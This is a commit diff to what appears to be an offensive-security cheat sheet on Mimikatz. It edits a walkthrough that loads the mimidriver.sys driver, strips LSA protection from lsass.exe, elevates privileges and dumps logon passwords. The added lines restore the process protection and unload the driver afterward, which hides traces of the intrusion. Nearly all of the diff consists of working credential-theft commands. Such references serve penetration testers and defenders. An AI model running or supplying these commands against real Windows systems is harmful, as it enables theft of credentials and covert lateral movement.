Merge pull request #338 from mpgn/patch-1

Add mimikatz command to protect a process after removing the protection

Methodology and Resources/Windows - Mimikatz.md

@@ -67,7 +67,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLo
   reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
 
   # Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
-  #Now lets import the mimidriver.sys to the system
+  # Now lets import the mimidriver.sys to the system
   mimikatz # !+
 
   # Now lets remove the protection flags from lsass.exe process
@@ -77,6 +77,12 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLo
   mimikatz # privilege::debug    
   mimikatz # token::elevate
   mimikatz # sekurlsa::logonpasswords
+  
+  # Now lets re-add the protection flags to the lsass.exe process
+  mimikatz # !processprotect /process:lsass.exe
+  
+  # Unload the service created
+  mimikatz # !-
   ```
 
 - LSA is running as virtualized process (LSAISO) by **Credential Guard**